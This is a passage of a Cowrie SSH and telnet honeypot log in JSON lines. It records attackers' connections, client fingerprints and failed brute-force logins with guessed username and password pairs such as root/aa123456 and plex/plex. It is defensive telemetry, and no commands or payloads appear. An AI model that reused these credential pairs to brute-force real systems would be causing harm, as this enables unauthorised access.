":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:16.024966Z","src_ip":"176.65.132.129","session":"1a2e84e85ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:16.435299Z","src_ip":"176.65.132.129","session":"1a2e84e85ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:17.519538Z","src_ip":"176.65.132.129","session":"1a2e84e85ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43754,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff980cdb2944","protocol":"ssh","message":"New connection: 176.65.132.129:43754 (159.203.135.109:22) [session: ff980cdb2944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:19.564410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:19.568968Z","src_ip":"176.65.132.129","session":"ff980cdb2944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:19.650609Z","src_ip":"176.65.132.129","session":"ff980cdb2944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:19.894633Z","src_ip":"176.65.132.129","session":"ff980cdb2944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:20.979356Z","src_ip":"176.65.132.129","session":"ff980cdb2944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":39458,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf10a633b364","protocol":"telnet","message":"New connection: 40.86.220.217:39458 (10.17.0.5:23) [session: cf10a633b364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:22.072315Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36298,"dst_ip":"10.17.0.5","dst_port":23,"session":"6557e2719c2d","protocol":"telnet","message":"New connection: 45.58.127.90:36298 (10.17.0.5:23) [session: 6557e2719c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:22.739607Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43768,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb0737727542","protocol":"ssh","message":"New connection: 176.65.132.129:43768 (159.203.135.109:22) [session: eb0737727542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:22.949088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:22.957450Z","src_ip":"176.65.132.129","session":"eb0737727542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:23.041800Z","src_ip":"176.65.132.129","session":"eb0737727542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:23.291444Z","src_ip":"176.65.132.129","session":"eb0737727542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:24.476041Z","src_ip":"176.65.132.129","session":"eb0737727542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41030,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac6790d8afd5","protocol":"ssh","message":"New connection: 176.65.132.129:41030 (159.203.135.109:22) [session: ac6790d8afd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:26.412112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:26.416118Z","src_ip":"176.65.132.129","session":"ac6790d8afd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:26.497668Z","src_ip":"176.65.132.129","session":"ac6790d8afd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:26.746538Z","src_ip":"176.65.132.129","session":"ac6790d8afd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:27.833402Z","src_ip":"176.65.132.129","session":"ac6790d8afd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41042,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c02d2ae2153","protocol":"ssh","message":"New connection: 176.65.132.129:41042 (159.203.135.109:22) [session: 2c02d2ae2153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:30.118132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:30.125296Z","src_ip":"176.65.132.129","session":"2c02d2ae2153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:30.207280Z","src_ip":"176.65.132.129","session":"2c02d2ae2153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":65044,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4eba4cae40e","protocol":"ssh","message":"New connection: 176.65.132.190:65044 (10.17.0.5:22) [session: b4eba4cae40e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:30.301304Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:30.306719Z","src_ip":"176.65.132.190","session":"b4eba4cae40e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47644,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0825466ba79","protocol":"telnet","message":"New connection: 45.58.127.90:47644 (10.17.0.5:23) [session: b0825466ba79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:30.356944Z"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:30.455356Z","src_ip":"176.65.132.129","session":"2c02d2ae2153","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:31.540113Z","src_ip":"176.65.132.129","session":"2c02d2ae2153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47652,"dst_ip":"10.17.0.5","dst_port":23,"session":"493345381420","protocol":"telnet","message":"New connection: 45.58.127.90:47652 (10.17.0.5:23) [session: 493345381420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:33.362946Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41052,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bb33796233e","protocol":"ssh","message":"New connection: 176.65.132.129:41052 (159.203.135.109:22) [session: 1bb33796233e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:33.520554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:33.525510Z","src_ip":"176.65.132.129","session":"1bb33796233e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:33.611683Z","src_ip":"176.65.132.129","session":"1bb33796233e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:33.859099Z","src_ip":"176.65.132.129","session":"1bb33796233e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:35.006627Z","src_ip":"176.65.132.129","session":"1bb33796233e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.941166400909424,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:35.279815Z","src_ip":"45.58.127.90","session":"40c5bbb54542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47078,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5e6fdbbf529","protocol":"ssh","message":"New connection: 176.65.132.129:47078 (159.203.135.109:22) [session: e5e6fdbbf529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:36.909441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:36.913071Z","src_ip":"176.65.132.129","session":"e5e6fdbbf529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:36.995080Z","src_ip":"176.65.132.129","session":"e5e6fdbbf529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"elsearch","message":"login attempt [elsearch/elsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:37.444370Z","src_ip":"176.65.132.129","session":"e5e6fdbbf529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.95441913604736,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:37.861501Z","src_ip":"45.58.127.90","session":"4587e25fc53a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:38.529486Z","src_ip":"176.65.132.129","session":"e5e6fdbbf529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"71750e2ac7fb","protocol":"telnet","message":"New connection: 45.58.127.90:53592 (10.17.0.5:23) [session: 71750e2ac7fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:38.836743Z"}
{"eventid":"cowrie.session.closed","duration":41.635722160339355,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:40.353556Z","src_ip":"45.58.127.90","session":"f75d75fcd0c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47102,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b66de2ae1ce","protocol":"ssh","message":"New connection: 176.65.132.129:47102 (159.203.135.109:22) [session: 2b66de2ae1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:40.522360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:40.525838Z","src_ip":"176.65.132.129","session":"2b66de2ae1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:40.606589Z","src_ip":"176.65.132.129","session":"2b66de2ae1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:40.850808Z","src_ip":"176.65.132.129","session":"2b66de2ae1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:41.935054Z","src_ip":"176.65.132.129","session":"2b66de2ae1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47128,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d071af2fdfd","protocol":"ssh","message":"New connection: 176.65.132.129:47128 (159.203.135.109:22) [session: 8d071af2fdfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:43.928808Z"}
